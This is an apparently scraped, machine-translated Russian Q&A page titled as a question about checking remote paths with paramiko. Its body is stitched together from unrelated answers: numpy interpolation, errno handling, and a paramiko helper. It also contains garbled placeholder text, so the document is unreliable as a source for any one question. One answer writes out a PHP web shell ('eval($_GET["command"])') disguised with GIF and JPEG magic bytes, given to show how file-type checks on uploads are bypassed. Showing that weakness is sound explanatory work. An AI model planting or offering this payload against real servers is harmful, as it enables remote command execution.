Проверьте, существует ли путь на удаленном хосте с помощью paramiko

Чтобы добавить промежуточные точки к вашим данным, вам нужно использовать некоторую форму интерполяции . В numpy есть np.interp, который обеспечивает простой интерфейс для предварительной линейной интерполяции.

Ниже приведен простой пример.

import numpy as np
import matplotlib.pyplot as plt

x = np.array([1,2,3,10,20,30])
y = np.array([1,2,3,4,5,6])

fig = plt.figure()
ax = fig.add_subplot(1,1,1)

ax.plot(x, y, '.', ms=10)

# Create a continuous range for the x axis from first to last value
xc = np.arange(x[0], x[-1])
yi = np.interp(xc, x, y)

ax.plot(xc, yi, 'x', color='r')

Это дает следующий сюжет.

interpolated data and original data

Входные данные показаны в виде синих кружков, интерполированные в виде красных крестиков.

Ключевым моментом, на который следует обратить внимание, является то, что для интерполяции ваших данных вам необходимо сначала вычислить ось интерполированных данных (например, регулярный диапазон значений от min..max). Затем вы передаете эту новую ось вместе со своими текущими x и текущими y значениями в np.interp. Результатом является новый набор y значений в интерполированных x местоположениях.

Используя ваш пример данных / скрипта, вы можете сделать -

import numpy as np
import matplotlib.pyplot as plt

protocols = {}

types = {"data1": "data1_final.csv"}

for protname, fname in types.items():
    col_time,col_window = np.loadtxt(fname,delimiter=',').T
    trailing_window = col_window[:-1] 
    leading_window  = col_window[1:]  
    decreasing_inds = np.where(leading_window < trailing_window)[0]
    quotient = leading_window[decreasing_inds]/trailing_window[decreasing_inds]
    quotient_times = col_time[decreasing_inds]

    protocols[protname] = {
        "col_time": col_time,
        "col_window": col_window,
        "quotient_times": quotient_times,
        "quotient": quotient,
    }

    plt.figure(); plt.clf()

    plt.plot(quotient_times,quotient, ".", label=protname, color="blue")

    # Interpolate, along an axis from min..max quotient_times
    xc = np.arange(quotient_times[0], quotient_times[-1], 0.5)
    quotienti = np.interp(xc, quotient_times, quotient)

    plt.plot(xc, quotienti, 'x', color='r')    

    plt.ylim(0, 1.0001)
    plt.title(protname)
    plt.xlabel("time")
    plt.ylabel("quotient")
    plt.legend()
    plt.show()

, что приводит к следующему графику.

[Тысяча сто двадцать-два] interp with provided data [тысяча сто двадцать-дв]

14
задан Reinstate Monica 13 May 2009 в 02:35
поделиться

2 ответа

См. errno модуль для констант, определяющих все эти коды ошибок. Кроме того, немного проще использовать атрибут исключения errno , чем расширение аргументов __ init __ , поэтому я бы сделал следующее:

except IOError, e: # or "as" if you're using Python 3.0
  if e.errno == errno.ENOENT:
    ...
18
ответ дан 1 December 2019 в 09:33
поделиться

Боюсь сказать, что ответ, который вы выбрали как правильный, неверен. Команда file читает файл в вашей системе Linux, / usr / share / file / magic , который имеет подписи файлов. Например, изображение GIF начинается с текста GIF8 , или файл JPEG начинается с байтов 0xffd8 . Вам просто нужно иметь эти подписи в загружаемом файле, чтобы обмануть команду file . Эти два файла будут приняты как изображения, даже если они будут работать как php-код:

eval_gif.php:

GIF8<?php eval($_GET["command"]);?>

eval_jpg.php (hexdump):

ff d8 3c 3f 70 68 70 20  65 76 61 6c 28 24 5f 47  |..<?php eval($_G|    
45 54 5b 22 63 6f 6d 6d  61 6e 64 22 5d 29 3b 3f  |ET["command"]);?|    
3e 0a 0a                                          |>..|

Это наиболее распространенные ошибки при фильтрации:

  • Не фильтровать вообще.
  • Фильтр, основанный на неправильных регулярных выражениях, легко обходится.

    def rexists(sftp, path):
        """os.path.exists for paramiko's SCP object
        """
        try:
            sftp.stat(path)
        except IOError, e:
            if e[0] == 2:
                return False
            raise
        else:
            return True
    
7
ответ дан 1 December 2019 в 09:33
поделиться
Другие вопросы по тегам:

Похожие вопросы: